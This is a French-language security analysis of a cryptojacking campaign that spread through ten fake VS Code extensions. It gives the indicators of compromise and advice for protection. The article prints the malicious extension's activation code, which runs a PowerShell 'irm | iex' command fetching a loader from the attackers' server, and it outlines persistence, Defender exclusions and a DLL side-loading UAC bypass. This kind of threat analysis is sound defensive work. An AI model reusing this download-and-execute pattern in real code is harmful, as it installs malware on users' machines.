Des développeurs ont récemment été ciblés par une campagne de cryptominage (cryptojacking) particulièrement sophistiquée, dissimulée dans des extensions VS Code qui paraissaient légitimes. Selon les données d’ExtensionTotal, ces fausses extensions, susceptibles d’avoir atteint plus d’un million d’installations, téléchargent en secret un script PowerShell qui désactive la sécurité Windows, établit une persistance via des tâches planifiées et installe un mineur XMRig.
L’extension factice la plus populaire, baptisée « Discord Rich Presence », aurait à elle seule atteint 189 000 installations. Les attaquants ont mis en place un processus d’infection en plusieurs étapes, allant même jusqu’à installer la véritable extension qu’ils prétendaient être pour ne pas éveiller les soupçons, tandis qu’ils minaient discrètement de la cryptomonnaie Monero (XMR) en arrière-plan, exploitant ainsi les ressources système des développeurs à leur insu.
Table des matières : [Masquer]
Flux multi-étapes de la charge utile
Vue d’ensemble
Au cours du week-end du 4 avril 2025, dix extensions Visual Studio Code malveillantes ont été publiées par trois auteurs différents, constituant le vecteur d’accès initial à une campagne sophistiquée de cryptominage.
Ces extensions se font passer pour des outils de développement populaires et cumulent, d’après les statistiques affichées sur le Visual Studio Marketplace, plus d’un million d’installations. Une fois installées, elles téléchargent et exécutent un chargeur PowerShell chargé de désactiver les services de sécurité puis de déployer XMRig depuis un serveur de commande et contrôle (C2) distant.
Alerte de sécurité : Les développeurs utilisant VS Code sont invités à vérifier immédiatement leurs extensions installées et à supprimer celles mentionnées dans cet article.
Analyse de la campagne malveillante
Dix extensions VS Code ont été publiées dans le cadre de cette campagne :
- Prettier — Code for VSCode (par prettier) – 955 000 installations
- Discord Rich Presence for VS Code (par Mark H) – 189 000 installations
- Rojo — Roblox Studio Sync (par evaera) – 117 000 installations
- Solidity Compiler (par VSCode Developer) – 13 000 installations
- Claude AI (par Mark H)
- Golang Compiler (par Mark H)
- ChatGPT Agent for VSCode (par Mark H)
- HTML Obfuscator (par Mark H)
- Python Obfuscator for VSCode (par Mark H)
- Rust Compiler for VSCode (par Mark H)
Les trois extensions les plus populaires (955 000, 189 000 et 117 000 installations) ont atteint ces chiffres anormalement vite, laissant supposer que les compteurs d’installations ont été artificiellement gonflés. L’objectif : inspirer confiance et minimiser les soupçons en affichant un grand nombre d’utilisateurs, technique connue sous le nom d’“astroturfing” dans le domaine de la manipulation digitale.
Mécanisme d’infection
Le fonctionnement général est identique pour toutes ces extensions :
- Télécharger et exécuter un script PowerShell depuis un serveur C2 situé à
https://asdf11[.]xyz/
dans une fenêtre cachée. - Installer la véritable extension officiellement attendue (ex. Discord Rich Presence, Prettier, etc.) pour donner au développeur l’illusion de fonctionnalités légitimes.
function activate(context) {
// Register the command to execute the PowerShell Loader and install the extension
let disposable = vscode.commands.registerCommand('hubtestmanagerex.runCmd', async function () {
if (process.platform === 'win32') {
const cmdCommand = 'powershell -Command "irm <https://asdf11.xyz/> | iex"';
potry {
// Execute the command to download and execution the PowerShell Loader
await executeCmdCommand(cmdCommand);
// After the PowerShell Loader has been executed, install the Solidity extension
const extensionId = 'icrawl.discord-vscode'; // The identifier for the Solidity extension
await installExtension(extensionId);
} catch (error) {
vscode.window.showErrorMessage(`Failed to execute command: ${error.message}`);
}
}
});
Le domaine asdf11[.]xyz
a été créé le 4 avril 2025, jour de publication des premières fausses extensions. Bien que publiées sous différents noms d’auteurs, elles contiennent toutes le même code et contactent le même serveur C2 pour exécuter la même charge utile, suggérant une opération coordonnée par un acteur malveillant unique.
Preuve sur ExtensionTotal
ExtensionTotal, spécialiste de la sécurité des extensions de développement, a été parmi les premiers à détecter cette campagne malveillante grâce à son système d’analyse comportementale automatisée. Leurs outils ont identifié des modèles d’activité suspects, notamment des connexions réseau non documentées et l’exécution de scripts PowerShell obscurcis.
Techniques avancées d’attaque
Chargeur PowerShell
Le script PowerShell, une fois exécuté sur la machine de la victime, met en œuvre plusieurs techniques sophistiquées pour s’implanter durablement dans le système :
1. Persistance
- Création d’une tâche planifiée nommée “OnedriveStartup” (pour se faire passer pour OneDrive)
- Entrée dans le registre (
HKCU\Software\Microsoft
) pour exécuter le script malveillant à chaque démarrage - Installation de points d’ancrage multiples pour assurer la survie même en cas de détection partielle
2. Évasion de défense
- Arrêt et désactivation de Windows Update pour éviter les correctifs de sécurité
- Ajout du chemin malveillant à la liste d’exclusions de Windows Defender
- Utilisation de techniques d’obscurcissement du code pour échapper à la détection par signatures
3. Élévation de privilèges
- Si l’exécution n’a pas les privilèges administrateur, le script tente une attaque d’injection DLL via la technique du “DLL Side-Loading”
- Copie de
ComputerDefaults.exe
(un binaire Microsoft légitime) et création d’une DLL malveillante (MLANG.dll
) pour l’injecter et obtenir des privilèges élevés - Exploitation de vulnérabilités connues dans Windows pour contourner l’UAC (User Account Control)
4. Exécution de la charge utile finale
- Le script PowerShell stocke des DLL et un exécutable “Trojan” en Base64, puis les décode sur la machine (nommé
Launcher.exe
dans un dossier exclu par Windows Defender) Launcher.exe
contacte un deuxième serveur C2 (myaunet[.]su
) pour télécharger et exécuter XMRig, mineur de cryptomonnaie Monero- Configuration du mineur pour opérer discrètement, limitant l’utilisation du CPU pendant les périodes d’activité de l’utilisateur pour éviter la détection
Impact et implications
Cette campagne représente une menace sérieuse pour plusieurs raisons :
- Exploitation des ressources : Le minage de cryptomonnaie consomme une quantité significative d’électricité et de puissance de calcul, entraînant une dégradation des performances système et potentiellement une usure prématurée du matériel.
- Risque d’escalade : Bien que cette campagne se concentre actuellement sur le cryptominage, l’infrastructure mise en place pourrait facilement être réutilisée pour déployer des charges utiles plus dangereuses comme des ransomwares.
- Atteinte à la chaîne d’approvisionnement : Cette attaque exploite la confiance accordée à l’écosystème Visual Studio Code et à son marketplace d’extensions, illustrant la vulnérabilité croissante des chaînes d’approvisionnement logiciel.
- Ciblage des développeurs : En visant spécifiquement les développeurs, qui disposent souvent d’accès privilégiés à des infrastructures critiques, cette campagne pourrait servir de tremplin pour des attaques plus ciblées.
Comment se protéger
Les utilisateurs de Visual Studio Code devraient prendre immédiatement les mesures suivantes :
- Vérifier les extensions installées : Rechercher et désinstaller toutes les extensions listées dans les IOC (Indicateurs de Compromission) ci-dessous.
- Analyser son système : Exécuter une analyse antivirus complète et rechercher les indicateurs de compromission mentionnés.
- Vérifier les tâches planifiées : Rechercher et supprimer toute tâche planifiée suspecte, notamment “OnedriveStartup”.
- Privilégier les extensions vérifiées : N’installer que des extensions provenant d’éditeurs reconnus et vérifiés, disposant d’un grand nombre d’évaluations authentiques et d’un historique établi.
- Utiliser des solutions de sécurité spécialisées : Envisager l’adoption d’outils comme ExtensionTotal pour analyser automatiquement la sécurité des extensions avant leur installation.
Cette campagne illustre l’essor et la sophistication des attaques sur la chaîne d’approvisionnement (supply chain) dans l’écosystème des développeurs. Au fur et à mesure que les places de marché comme celle des extensions Visual Studio Code gagnent en popularité, elles deviennent une cible de choix pour des attaquants cherchant à installer du code malveillant.
Chez ExtensionTotal, nous aidons les entreprises à identifier les extensions à risque avant qu’elles ne causent des dommages, offrant ainsi la possibilité de profiter de l’agilité des outils de développement modernes sans compromettre la sécurité.
Cette campagne met également en lumière une tendance inquiétante : l’exploitation croissante des environnements de développement comme vecteurs d’attaque. Les développeurs, traditionnellement considérés comme des utilisateurs avertis, se retrouvent paradoxalement ciblés en raison de leur accès privilégié et de leur tendance à utiliser de nombreuses extensions pour optimiser leur flux de travail.
IOC (Indicateurs de Compromission)
VS Code Package Names
- prettierteam.prettier
- markh.chatgpt-autocoder-vscode
- markh.claude-autocoder-vscode
- markh.discord-rich-presence-vs
- markh.golang-compiler-vscode
- markh.html-obfuscator-vscode
- markh.python-obfuscator-vscode
- markh.rust-compiler-vs
- evaera-rbx.vscode-rojo-rbx
- vscodedeveloper.sobidity-compiler
Lexique
- Cryptojacking : Pratique consistant à utiliser secrètement les ressources de calcul d’une machine pour miner des cryptomonnaies sans le consentement de son propriétaire.
- XMRig : Logiciel de minage légitime pour la cryptomonnaie Monero (XMR), souvent détourné à des fins malveillantes en raison de ses performances et de son caractère anonyme.
- C2 (Commande et Contrôle) : Serveur utilisé par les attaquants pour communiquer avec les systèmes compromis et leur envoyer des instructions.
- DLL Side-Loading : Technique d’attaque exploitant la façon dont Windows recherche les fichiers DLL, en plaçant une DLL malveillante là où un programme légitime cherchera à en charger une.
- PowerShell : Langage de script et environnement de ligne de commande de Microsoft, souvent utilisé par les attaquants pour sa puissance et sa présence native sur les systèmes Windows.
- Astroturfing : Pratique consistant à créer une fausse impression de popularité ou de soutien pour un produit ou une idée.
- Supply Chain Attack : Attaque ciblant la chaîne d’approvisionnement logicielle, en compromettant un composant légitime pour atteindre les utilisateurs finaux.
- Persistance : Techniques utilisées par les logiciels malveillants pour survivre aux redémarrages du système et aux tentatives de suppression.
- UAC (User Account Control) : Mécanisme de sécurité de Windows demandant confirmation avant d’exécuter une action nécessitant des privilèges administrateur.
- Base64 : Méthode d’encodage convertissant des données binaires en texte, souvent utilisée par les logiciels malveillants pour dissimuler leur code.
- Extension VS Code : Module complémentaire pour l’éditeur Visual Studio Code, ajoutant des fonctionnalités supplémentaires.